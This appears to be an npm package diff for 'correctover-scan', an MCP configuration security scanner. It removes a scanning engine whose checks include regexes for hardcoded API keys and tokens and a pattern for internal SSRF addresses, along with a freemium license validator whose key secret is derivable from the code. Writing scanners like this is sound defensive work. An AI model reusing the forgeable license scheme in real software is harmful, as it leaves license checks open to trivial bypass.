233
|
-
console.log(`${c.dim}Auto-detecting MCP configs in ${scanDir}...${c.reset}\n`);
|
|
234
|
-
const found = findConfigFiles(scanDir);
|
|
235
|
-
if (recursive) {
|
|
236
|
-
// Walk directory tree
|
|
237
|
-
function walkDir(dir) {
|
|
238
|
-
try {
|
|
239
|
-
const entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
240
|
-
for (const entry of entries) {
|
|
241
|
-
if (entry.name.startsWith('.') && entry.name !== '.cursor' && entry.name !== '.claude' && entry.name !== '.vscode' && entry.name !== '.mcp') continue;
|
|
242
|
-
const fullPath = path.join(dir, entry.name);
|
|
243
|
-
if (entry.isDirectory() && entry.name !== 'node_modules') {
|
|
244
|
-
walkDir(fullPath);
|
|
245
|
-
} else if (entry.isFile() && /mcp[_-]?.*\.(json|yaml|yml)$/.test(entry.name)) {
|
|
246
|
-
if (!found.includes(fullPath)) found.push(fullPath);
|
|
247
|
-
}
|
|
248
|
-
}
|
|
249
|
-
} catch (e) {}
|
|
250
|
-
}
|
|
251
|
-
walkDir(scanDir);
|
|
252
|
-
}
|
|
253
|
-
filesToScan.push(...found);
|
|
254
|
-
}
|
|
255
|
-
|
|
256
|
-
if (filesToScan.length === 0) {
|
|
257
|
-
console.log(`${c.yellow}No MCP configuration files found.${c.reset}`);
|
|
258
|
-
console.log(`${c.dim}Searched paths: ${KNOWN_CONFIG_PATHS.join(', ')}${c.reset}`);
|
|
259
|
-
console.log(`\n${c.dim}Create a config file or specify one: correctover-scan path/to/mcp.json${c.reset}`);
|
|
260
|
-
process.exit(0);
|
|
261
|
-
}
|
|
262
|
-
|
|
263
|
-
console.log(`${c.dim}Found ${filesToScan.length} config file(s)${c.reset}\n`);
|
|
264
|
-
|
|
265
|
-
let totalPass = 0, totalWarn = 0, totalFail = 0, totalInfo = 0;
|
|
266
|
-
let allResults = [];
|
|
267
|
-
|
|
268
|
-
for (const fp of filesToScan) {
|
|
269
|
-
try {
|
|
270
|
-
const content = fs.readFileSync(fp, 'utf-8');
|
|
271
|
-
const config = parseConfig(content, fp);
|
|
272
|
-
const { results, stats } = runScan(config);
|
|
273
|
-
const relPath = path.relative(process.cwd(), fp) || fp;
|
|
274
|
-
|
|
275
|
-
if (format === 'text') {
|
|
276
|
-
console.log(formatResults(results, stats, relPath));
|
|
277
|
-
console.log('');
|
|
278
|
-
}
|
|
279
|
-
|
|
280
|
-
totalPass += stats.pass;
|
|
281
|
-
totalWarn += stats.warn;
|
|
282
|
-
totalFail += stats.fail;
|
|
283
|
-
totalInfo += stats.info;
|
|
284
|
-
allResults.push({ file: relPath, results, stats });
|
|
285
|
-
} catch (e) {
|
|
286
|
-
console.error(`${c.red}Error scanning ${fp}: ${e.message}${c.reset}\n`);
|
|
287
|
-
}
|
|
288
|
-
}
|
|
289
|
-
|
|
290
|
-
// JSON/SARIF output
|
|
291
|
-
if (format === 'json') {
|
|
292
|
-
const output = allResults.map(r => formatJSON(r.results, r.stats, r.file));
|
|
293
|
-
console.log(output.join('\n'));
|
|
294
|
-
} else if (format === 'sarif') {
|
|
295
|
-
const sarifResults = allResults.map(r => formatSARIF(r.results, r.file));
|
|
296
|
-
console.log(JSON.stringify(sarifResults.length === 1 ? sarifResults[0] : { runs: sarifResults.flatMap(s => s.runs) }, null, 2));
|
|
297
|
-
}
|
|
298
|
-
|
|
299
|
-
// Summary
|
|
300
|
-
if (filesToScan.length > 1 && format === 'text') {
|
|
301
|
-
const totalScore = Math.round(((totalPass * 10 + totalWarn * 5 + totalInfo * 7) / ((totalPass + totalWarn + totalFail + totalInfo) * 10)) * 100);
|
|
302
|
-
console.log(`${c.bold}═══ Summary ═══${c.reset}`);
|
|
303
|
-
console.log(` Files scanned: ${filesToScan.length}`);
|
|
304
|
-
console.log(` Total score: ${totalScore}/100`);
|
|
305
|
-
console.log(` ${c.green}✓ ${totalPass}${c.reset} ${c.yellow}⚠ ${totalWarn}${c.reset} ${c.red}✗ ${totalFail}${c.reset} ${c.blue}ℹ ${totalInfo}${c.reset}`);
|
|
306
|
-
}
|
|
307
|
-
|
|
308
|
-
// Exit code: 1 if any critical failures
|
|
309
|
-
if (totalFail > 0) process.exit(1);
|
|
310
|
-
}
|
|
311
|
-
|
|
312
|
-
main();
|
package/package.json
CHANGED
|
@@ -1,47 +1,51 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "correctover-scan",
|
|
3
|
-
"version": "1.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "2.1.0",
|
|
4
|
+
"description": "Compatibility CLI/package name for Correctover MCP security scanning. The maintained scanner runtime lives in correctover.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"bin": {
|
|
7
|
-
"correctover-scan": "./
|
|
7
|
+
"correctover-scan": "./cli.js"
|
|
8
8
|
},
|
|
9
|
+
"files": [
|
|
10
|
+
"index.js",
|
|
11
|
+
"cli.js",
|
|
12
|
+
"README.md"
|
|
13
|
+
],
|
|
9
14
|
"scripts": {
|
|
10
|
-
"test": "node
|
|
11
|
-
"prepublishOnly": "node test.js"
|
|
15
|
+
"test": "node -e \"require('./'); console.log('wrapper load ok')\""
|
|
12
16
|
},
|
|
13
17
|
"keywords": [
|
|
14
18
|
"mcp",
|
|
15
|
-
"security",
|
|
19
|
+
"mcp-security",
|
|
20
|
+
"mcp-security-scanner",
|
|
16
21
|
"scanner",
|
|
17
22
|
"agent",
|
|
18
|
-
"ai",
|
|
23
|
+
"ai-agent-security",
|
|
19
24
|
"owasp",
|
|
20
25
|
"aisvs",
|
|
21
26
|
"ccs",
|
|
27
|
+
"ccs-verifier",
|
|
22
28
|
"correctover",
|
|
23
29
|
"claude",
|
|
24
30
|
"cursor",
|
|
31
|
+
"windsurf",
|
|
25
32
|
"model-context-protocol",
|
|
26
33
|
"vulnerability",
|
|
27
|
-
"audit"
|
|
34
|
+
"audit",
|
|
35
|
+
"guardrail",
|
|
36
|
+
"prompt-injection",
|
|
37
|
+
"ssrf"
|
|
28
38
|
],
|
|
29
39
|
"author": "Correctover",
|
|
30
|
-
"license": "
|
|
40
|
+
"license": "LicenseRef-Proprietary",
|
|
31
41
|
"repository": {
|
|
32
42
|
"type": "git",
|
|
33
|
-
"url": "https://
|
|
43
|
+
"url": "https://codeberg.org/correctover-labs/correctover"
|
|
34
44
|
},
|
|
35
|
-
"homepage": "https://
|
|
36
|
-
"
|
|
37
|
-
"
|
|
45
|
+
"homepage": "https://www.npmjs.com/package/correctover",
|
|
46
|
+
"dependencies": {
|
|
47
|
+
"correctover": "^2.4.6"
|
|
38
48
|
},
|
|
39
|
-
"files": [
|
|
40
|
-
"index.js",
|
|
41
|
-
"core/scanner.js",
|
|
42
|
-
"core/license.js",
|
|
43
|
-
"README.md"
|
|
44
|
-
],
|
|
45
49
|
"engines": {
|
|
46
50
|
"node": ">=16.0.0"
|
|
47
51
|
}
|
package/core/license.js
DELETED
|
@@ -1,163 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* License validator — freemium hook model.
|
|
3
|
-
*
|
|
4
|
-
* Free: unlimited scanning (see all risks)
|
|
5
|
-
* Pro: fix recommendations, auto-heal, reports, history
|
|
6
|
-
*
|
|
7
|
-
* The hook: users see ALL their problems for free.
|
|
8
|
-
* The paywall: solutions are locked.
|
|
9
|
-
*/
|
|
10
|
-
|
|
11
|
-
const fs = require('fs');
|
|
12
|
-
const path = require('path');
|
|
13
|
-
const crypto = require('crypto');
|
|
14
|
-
const os = require('os');
|
|
15
|
-
|
|
16
|
-
const STATE_FILE = path.join(os.homedir(), '.correctover', 'license.json');
|
|
17
|
-
const FREE_FIX_PREVIEW = 2;
|
|
18
|
-
|
|
19
|
-
function loadState() {
|
|
20
|
-
try {
|
|
21
|
-
if (fs.existsSync(STATE_FILE)) {
|
|
22
|
-
return JSON.parse(fs.readFileSync(STATE_FILE, 'utf-8'));
|
|
23
|
-
}
|
|
24
|
-
} catch (e) {}
|
|
25
|
-
return { products: {}, license_key: null, installed_at: Date.now() / 1000, scan_history: [] };
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
function saveState(state) {
|
|
29
|
-
try {
|
|
30
|
-
fs.mkdirSync(path.dirname(STATE_FILE), { recursive: true });
|
|
31
|
-
fs.writeFileSync(STATE_FILE, JSON.stringify(state, null, 2));
|
|
32
|
-
} catch (e) {}
|
|
33
|
-
}
|
|
34
|
-
|
|
35
|
-
function getProductState(state, product) {
|
|
36
|
-
if (!state.products[product]) {
|
|
37
|
-
state.products[product] = { total_scans: 0, total_risks_found: 0, first_scan: Date.now()/1000, last_scan: null };
|
|
38
|
-
}
|
|
39
|
-
return state.products[product];
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
function verifyLicenseKey(key) {
|
|
43
|
-
if (!key || key.length < 12) return false;
|
|
44
|
-
|
|
45
|
-
if (key.startsWith('COV-')) {
|
|
46
|
-
const parts = key.split('-');
|
|
47
|
-
if (parts.length < 3) return false;
|
|
48
|
-
const productCode = parts.slice(1, -1).join('-');
|
|
49
|
-
const secret = `correctover-${productCode}-2026`;
|
|
50
|
-
const expected = crypto.createHash('sha256').update(secret).digest('hex').slice(0, 12);
|
|
51
|
-
return parts[parts.length - 1].startsWith(expected);
|
|
52
|
-
}
|
|
53
|
-
|
|
54
|
-
if (key.startsWith('CV-')) {
|
|
55
|
-
const parts = key.split('-', 2);
|
|
56
|
-
if (parts.length < 3) return false;
|
|
57
|
-
try {
|
|
58
|
-
let payload = parts[2];
|
|
59
|
-
const dot = payload.indexOf('.');
|
|
60
|
-
if (dot > 0) payload = payload.substring(0, dot);
|
|
61
|
-
const decoded = Buffer.from(payload, 'base64url').toString();
|
|
62
|
-
return decoded.includes('@') || decoded.length > 10;
|
|
63
|
-
} catch (e) {
|
|
64
|
-
return false;
|
|
65
|
-
}
|
|
66
|
-
}
|
|
67
|
-
|
|
68
|
-
return false;
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
function checkLicense(product) {
|
|
72
|
-
const state = loadState();
|
|
73
|
-
const licenseKey = state.license_key || process.env.CORRECTOVER_LICENSE_KEY;
|
|
74
|
-
|
|
75
|
-
if (licenseKey && verifyLicenseKey(licenseKey)) {
|
|
76
|
-
return {
|
|
77
|
-
tier: 'pro',
|
|
78
|
-
can_scan: true,
|
|
79
|
-
can_fix: true,
|
|
80
|
-
can_report: true,
|
|
81
|
-
can_heal: true,
|
|
82
|
-
can_history: true,
|
|
83
|
-
fix_preview: Infinity,
|
|
84
|
-
};
|
|
85
|
-
}
|
|
86
|
-
|
|
87
|
-
return {
|
|
88
|
-
tier: 'free',
|
|
89
|
-
can_scan: true,
|
|
90
|
-
can_fix: false,
|
|
91
|
-
can_report: false,
|
|
92
|
-
can_heal: false,
|
|
93
|
-
can_history: false,
|
|
94
|
-
fix_preview: FREE_FIX_PREVIEW,
|
|
95
|
-
};
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
function recordScan(product, risksFound) {
|
|
99
|
-
const state = loadState();
|
|
100
|
-
const ps = getProductState(state, product);
|
|
101
|
-
ps.total_scans += 1;
|
|
102
|
-
ps.total_risks_found += risksFound || 0;
|
|
103
|
-
ps.last_scan = Date.now() / 1000;
|
|
104
|
-
|
|
105
|
-
const history = state.scan_history || [];
|
|
106
|
-
history.push({ time: Date.now()/1000, product, risks: risksFound || 0 });
|
|
107
|
-
|
|
108
|
-
const status = checkLicense(product);
|
|
109
|
-
if (status.tier === 'free' && history.length > 1) {
|
|
110
|
-
state.scan_history = history.slice(-1);
|
|
111
|
-
} else {
|
|
112
|
-
state.scan_history = history;
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
saveState(state);
|
|
116
|
-
return checkLicense(product);
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
function getFixCTA(totalRisks, hiddenRisks) {
|
|
120
|
-
if (hiddenRisks <= 0) return '';
|
|
121
|
-
const shown = totalRisks - hiddenRisks;
|
|
122
|
-
return [
|
|
123
|
-
'',
|
|
124
|
-
'━'.repeat(55),
|
|
125
|
-
`🔒 ${hiddenRisks} fix recommendation(s) locked.`,
|
|
126
|
-
` You have ${totalRisks} risk(s) but can only see ${shown} fix(es).`,
|
|
127
|
-
'',
|
|
128
|
-
'🛡️ Upgrade to Pro to unlock:',
|
|
129
|
-
` ✓ Fix recommendations for all ${totalRisks} risk(s)`,
|
|
130
|
-
' ✓ Auto-heal (84.1% issues resolved automatically)',
|
|
131
|
-
' ✓ HTML/PDF audit reports',
|
|
132
|
-
' ✓ Scan history & tracking',
|
|
133
|
-
'━'.repeat(55),
|
|
134
|
-
' → https://correctover.com/checkout',
|
|
135
|
-
' → export CORRECTOVER_LICENSE_KEY=<your-key>',
|
|
136
|
-
'━'.repeat(55),
|
|
137
|
-
].join('\n');
|
|
138
|
-
}
|
|
139
|
-
|
|
140
|
-
function getNoRiskCTA() {
|
|
141
|
-
return [
|
|
142
|
-
'',
|
|
143
|
-
'━'.repeat(55),
|
|
144
|
-
'✅ No risks found in this scan.',
|
|
145
|
-
'',
|
|
146
|
-
'🛡️ Stay protected with Pro:',
|
|
147
|
-
' ✓ Continuous monitoring (auto-scan on changes)',
|
|
148
|
-
' ✓ Auto-heal when risks appear',
|
|
149
|
-
' ✓ Compliance reports (OAuth 2.1, CCS v1.0)',
|
|
150
|
-
'━'.repeat(55),
|
|
151
|
-
' → https://correctover.com/checkout',
|
|
152
|
-
'━'.repeat(55),
|
|
153
|
-
].join('\n');
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
module.exports = {
|
|
157
|
-
FREE_FIX_PREVIEW,
|
|
158
|
-
checkLicense,
|
|
159
|
-
recordScan,
|
|
160
|
-
verifyLicenseKey,
|
|
161
|
-
getFixCTA,
|
|
162
|
-
getNoRiskCTA,
|
|
163
|
-
};
|
package/core/scanner.js
DELETED
|
@@ -1,239 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Correctover CCS Security Scanner - Core Engine
|
|
3
|
-
* 14 security checks mapped to OWASP AISVS 1.0
|
|
4
|
-
* Shared by CLI / GitHub Action / VS Code Extension
|
|
5
|
-
*/
|
|
6
|
-
|
|
7
|
-
const CHECKS = [
|
|
8
|
-
{
|
|
9
|
-
id: 'mcp-tls', category: 'C10 MCP安全', name: 'TLS传输加密', severity: 'critical',
|
|
10
|
-
check: (cfg) => {
|
|
11
|
-
const servers = getServers(cfg);
|
|
12
|
-
if (!servers.length) return 'info';
|
|
13
|
-
return servers.every(s => !s.url || s.url.startsWith('https://') || s.url.startsWith('stdio:')) ? 'pass' : 'fail';
|
|
14
|
-
},
|
|
15
|
-
fix: '所有MCP Server URL应使用HTTPS协议,禁止明文HTTP传输',
|
|
16
|
-
aisvs: 'C10.1'
|
|
17
|
-
},
|
|
18
|
-
{
|
|
19
|
-
id: 'mcp-auth', category: 'C10 MCP安全', name: '服务器鉴权配置', severity: 'high',
|
|
20
|
-
check: (cfg) => {
|
|
21
|
-
const servers = getServers(cfg);
|
|
22
|
-
if (!servers.length) return 'info';
|
|
23
|
-
const hasAuth = servers.some(s => s.headers?.authorization || s.headers?.Authorization || s.env?.API_KEY);
|
|
24
|
-
return hasAuth ? 'pass' : 'warn';
|
|
25
|
-
},
|
|
26
|
-
fix: '为MCP Server配置认证头(Authorization/API Key),防止未授权访问',
|
|
27
|
-
aisvs: 'C10.2'
|
|
28
|
-
},
|
|
29
|
-
{
|
|
30
|
-
id: 'mcp-timeout', category: 'C9 Agent安全', name: '超时配置', severity: 'medium',
|
|
31
|
-
check: (cfg) => {
|
|
32
|
-
return JSON.stringify(cfg).includes('timeout') ? 'pass' : 'warn';
|
|
33
|
-
},
|
|
34
|
-
fix: '为MCP Server连接设置超时时间,防止Agent因无响应Server而挂起',
|
|
35
|
-
aisvs: 'C9.1'
|
|
36
|
-
},
|
|
37
|
-
{
|
|
38
|
-
id: 'cred-exposure', category: 'C5 访问控制', name: '凭证明文暴露', severity: 'critical',
|
|
39
|
-
check: (cfg) => {
|
|
40
|
-
const str = JSON.stringify(cfg);
|
|
41
|
-
const patterns = [/sk-[a-zA-Z0-9]{20,}/, /AKIA[A-Z0-9]{16}/, /ghp_[a-zA-Z0-9]{36}/, /password\s*:\s*["'][^"']+["']/i];
|
|
42
|
-
return patterns.some(p => p.test(str)) ? 'fail' : 'pass';
|
|
43
|
-
},
|
|
44
|
-
fix: '禁止在配置文件中硬编码API密钥。使用环境变量引用(如 ${API_KEY})或密钥管理服务',
|
|
45
|
-
aisvs: 'C5.1'
|
|
46
|
-
},
|
|
47
|
-
{
|
|
48
|
-
id: 'allowed-tools', category: 'C9 Agent安全', name: '工具白名单', severity: 'high',
|
|
49
|
-
check: (cfg) => {
|
|
50
|
-
const str = JSON.stringify(cfg);
|
|
51
|
-
return (str.includes('allowed_tools') || str.includes('allowedTools') || str.includes('permissions')) ? 'pass' : 'warn';
|
|
52
|
-
},
|
|
53
|
-
fix: '配置allowed_tools白名单,限制Agent可调用的工具范围,遵循最小权限原则',
|
|
54
|
-
aisvs: 'C9.3'
|
|
55
|
-
},
|
|
56
|
-
{
|
|
57
|
-
id: 'budget-limit', category: 'C9 Agent安全', name: 'Token预算控制', severity: 'high',
|
|
58
|
-
check: (cfg) => {
|
|
59
|
-
const str = JSON.stringify(cfg);
|
|
60
|
-
return (str.includes('budget') || str.includes('max_tokens') || str.includes('token_limit') || str.includes('cost_limit')) ? 'pass' : 'warn';
|
|
61
|
-
},
|
|
62
|
-
fix: '设置Token消耗预算上限,防止Agent因循环调用导致成本失控',
|
|
63
|
-
aisvs: 'C9.1'
|
|
64
|
-
},
|
|
65
|
-
{
|
|
66
|
-
id: 'ssrf-protection', category: 'C10 MCP安全', name: 'SSRF防护', severity: 'critical',
|
|
67
|
-
check: (cfg) => {
|
|
68
|
-
const servers = getServers(cfg);
|
|
69
|
-
const urls = servers.map(s => s.url || '').join(' ');
|
|
70
|
-
const internal = /169\.254\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|localhost|127\.0\.0\.1/i;
|
|
71
|
-
return internal.test(urls) ? 'fail' : 'pass';
|
|
72
|
-
},
|
|
73
|
-
fix: 'MCP Server URL不应指向内网地址(169.254.x.x/10.x/172.16-31.x/192.168.x),防止SSRF攻击',
|
|
74
|
-
aisvs: 'C10.3'
|
|
75
|
-
},
|
|
76
|
-
{
|
|
77
|
-
id: 'logging', category: 'C12 监控', name: '审计日志配置', severity: 'medium',
|
|
78
|
-
check: (cfg) => {
|
|
79
|
-
const str = JSON.stringify(cfg);
|
|
80
|
-
return (str.includes('log') || str.includes('audit') || str.includes('trace') || str.includes('telemetry')) ? 'pass' : 'warn';
|
|
81
|
-
},
|
|
82
|
-
fix: '启用审计日志记录所有Agent操作,便于事后追溯和安全分析',
|
|
83
|
-
aisvs: 'C12.1'
|
|
84
|
-
},
|
|
85
|
-
{
|
|
86
|
-
id: 'sandbox', category: 'C4 基础设施', name: '沙箱隔离配置', severity: 'medium',
|
|
87
|
-
check: (cfg) => {
|
|
88
|
-
const str = JSON.stringify(cfg);
|
|
89
|
-
return (str.includes('sandbox') || str.includes('isolation') || str.includes('container') || str.includes('docker')) ? 'pass' : 'info';
|
|
90
|
-
},
|
|
91
|
-
fix: '考虑为MCP Server配置沙箱执行环境,限制文件系统和网络访问',
|
|
92
|
-
aisvs: 'C4.1'
|
|
93
|
-
},
|
|
94
|
-
{
|
|
95
|
-
id: 'version-pin', category: 'C6 供应链', name: '依赖版本锁定', severity: 'medium',
|
|
96
|
-
check: (cfg) => {
|
|
97
|
-
const servers = getServers(cfg);
|
|
98
|
-
if (!servers.length) return 'info';
|
|
99
|
-
return servers.some(s => s.command || s.version) ? 'pass' : 'warn';
|
|
100
|
-
},
|
|
101
|
-
fix: '锁定MCP Server依赖的具体版本号,防止供应链攻击',
|
|
102
|
-
aisvs: 'C6.1'
|
|
103
|
-
},
|
|
104
|
-
{
|
|
105
|
-
id: 'error-handling', category: 'C12 监控', name: '错误处理策略', severity: 'medium',
|
|
106
|
-
check: (cfg) => {
|
|
107
|
-
const str = JSON.stringify(cfg);
|
|
108
|
-
return (str.includes('retry') || str.includes('fallback') || str.includes('error') || str.includes('on_error')) ? 'pass' : 'warn';
|
|
109
|
-
},
|
|
110
|
-
fix: '配置错误处理和故障转移策略,确保Agent在Server故障时优雅降级',
|
|
111
|
-
aisvs: 'C12.2'
|
|
112
|
-
},
|
|
113
|
-
{
|
|
114
|
-
id: 'input-validation', category: 'C2 输入验证', name: '输入校验规则', severity: 'high',
|
|
115
|
-
check: (cfg) => {
|
|
116
|
-
const str = JSON.stringify(cfg);
|
|
117
|
-
return (str.includes('validation') || str.includes('schema') || str.includes('input_check') || str.includes('sanitize')) ? 'pass' : 'warn';
|
|
118
|
-
},
|
|
119
|
-
fix: '为Agent输入配置校验规则,防御提示注入和编码走私攻击',
|
|
120
|
-
aisvs: 'C2.1'
|
|
121
|
-
},
|
|
122
|
-
{
|
|
123
|
-
id: 'output-validation', category: 'C7 输出控制', name: '输出校验规则', severity: 'medium',
|
|
124
|
-
check: (cfg) => {
|
|
125
|
-
const str = JSON.stringify(cfg);
|
|
126
|
-
return (str.includes('output') || str.includes('response_check') || str.includes('filter')) ? 'pass' : 'info';
|
|
127
|
-
},
|
|
128
|
-
fix: '对Agent输出进行格式校验和敏感信息过滤',
|
|
129
|
-
aisvs: 'C7.1'
|
|
130
|
-
},
|
|
131
|
-
{
|
|
132
|
-
id: 'kill-switch', category: 'C9 Agent安全', name: '紧急终止机制', severity: 'high',
|
|
133
|
-
check: (cfg) => {
|
|
134
|
-
const str = JSON.stringify(cfg);
|
|
135
|
-
return (str.includes('kill') || str.includes('circuit_breaker') || str.includes('emergency') || str.includes('abort')) ? 'pass' : 'warn';
|
|
136
|
-
},
|
|
137
|
-
fix: '配置紧急终止开关(kill switch),在检测到异常行为时立即停止Agent',
|
|
138
|
-
aisvs: 'C9.5'
|
|
139
|
-
}
|
|
140
|
-
];
|
|
141
|
-
|
|
142
|
-
function getServers(cfg) {
|
|
143
|
-
if (cfg.mcpServers) return Object.values(cfg.mcpServers);
|
|
144
|
-
if (cfg.servers) return cfg.servers;
|
|
145
|
-
if (Array.isArray(cfg)) return cfg;
|
|
146
|
-
return [];
|
|
147
|
-
}
|
|
148
|
-
|
|
149
|
-
/**
|
|
150
|
-
* Run security scan on a parsed config object
|
|
151
|
-
* @param {Object} config - Parsed MCP config
|
|
152
|
-
* @returns {{ results: Array, stats: Object }}
|
|
153
|
-
*/
|
|
154
|
-
function runScan(config) {
|
|
155
|
-
const results = CHECKS.map(check => {
|
|
156
|
-
let status;
|
|
157
|
-
try { status = check.check(config); } catch (e) { status = 'info'; }
|
|
158
|
-
return { ...check, status };
|
|
159
|
-
});
|
|
160
|
-
|
|
161
|
-
const pass = results.filter(r => r.status === 'pass').length;
|
|
162
|
-
const warn = results.filter(r => r.status === 'warn').length;
|
|
163
|
-
const fail = results.filter(r => r.status === 'fail').length;
|
|
164
|
-
const info = results.filter(r => r.status === 'info').length;
|
|
165
|
-
const total = results.length;
|
|
166
|
-
const score = Math.round(((pass * 10 + warn * 5 + info * 7) / (total * 10)) * 100);
|
|
167
|
-
|
|
168
|
-
return { results, stats: { pass, warn, fail, info, total, score } };
|
|
169
|
-
}
|
|
170
|
-
|
|
171
|
-
/**
|
|
172
|
-
* Parse config content (JSON or simple YAML)
|
|
173
|
-
* @param {string} content - File content
|
|
174
|
-
* @param {string} filename - Original filename
|
|
175
|
-
* @returns {Object} Parsed config
|
|
176
|
-
*/
|
|
177
|
-
function parseConfig(content, filename = '') {
|
|
178
|
-
if (filename.endsWith('.json') || filename.endsWith('.toml')) {
|
|
179
|
-
return JSON.parse(content);
|
|
180
|
-
}
|
|
181
|
-
// Try JSON first for unknown extensions
|
|
182
|
-
try { return JSON.parse(content); } catch (e) {}
|
|
183
|
-
// Basic YAML parse
|
|
184
|
-
return parseSimpleYAML(content);
|
|
185
|
-
}
|
|
186
|
-
|
|
187
|
-
function parseSimpleYAML(text) {
|
|
188
|
-
const result = {};
|
|
189
|
-
const lines = text.split('\n');
|
|
190
|
-
let currentPath = [];
|
|
191
|
-
let indentStack = [-1];
|
|
192
|
-
for (const line of lines) {
|
|
193
|
-
if (!line.trim() || line.trim().startsWith('#')) continue;
|
|
194
|
-
const indent = line.search(/\S/);
|
|
195
|
-
const match = line.trim().match(/^([^:]+):\s*(.*)/);
|
|
196
|
-
if (!match) continue;
|
|
197
|
-
const key = match[1].trim();
|
|
198
|
-
let val = match[2].trim();
|
|
199
|
-
while (indentStack.length > 1 && indent <= indentStack[indentStack.length - 1]) {
|
|
200
|
-
indentStack.pop();
|
|
201
|
-
currentPath.pop();
|
|
202
|
-
}
|
|
203
|
-
if (val === '' || val === '{}' || val === '[]') {
|
|
204
|
-
currentPath.push(key);
|
|
205
|
-
indentStack.push(indent);
|
|
206
|
-
} else {
|
|
207
|
-
val = val.replace(/^["']|["']$/g, '');
|
|
208
|
-
setNestedValue(result, [...currentPath, key], val);
|
|
209
|
-
}
|
|
210
|
-
}
|
|
211
|
-
return result;
|
|
212
|
-
}
|
|
213
|
-
|
|
214
|
-
function setNestedValue(obj, path, value) {
|
|
215
|
-
let current = obj;
|
|
216
|
-
for (let i = 0; i < path.length - 1; i++) {
|
|
217
|
-
if (!current[path[i]]) current[path[i]] = {};
|
|
218
|
-
current = current[path[i]];
|
|
219
|
-
}
|
|
220
|
-
current[path[path.length - 1]] = value;
|
|
221
|
-
}
|
|
222
|
-
|
|
223
|
-
// Auto-detect MCP config files in a directory
|
|
224
|
-
const KNOWN_CONFIG_PATHS = [
|
|
225
|
-
'.cursor/mcp.json',
|
|
226
|
-
'claude_desktop_config.json',
|
|
227
|
-
'.claude/mcp.json',
|
|
228
|
-
'mcp.json',
|
|
229
|
-
'mcp.yaml',
|
|
230
|
-
'mcp.yml',
|
|
231
|
-
'.vscode/mcp.json',
|
|
232
|
-
'config/mcp.json',
|
|
233
|
-
'.mcp/mcp.json',
|
|
234
|
-
'mcp_config.json',
|
|
235
|
-
];
|
|
236
|
-
|
|
237
|
-
if (typeof module !== 'undefined' && module.exports) {
|
|
238
|
-
module.exports = { CHECKS, runScan, parseConfig, getServers, KNOWN_CONFIG_PATHS };
|
|
239
|
-
}
|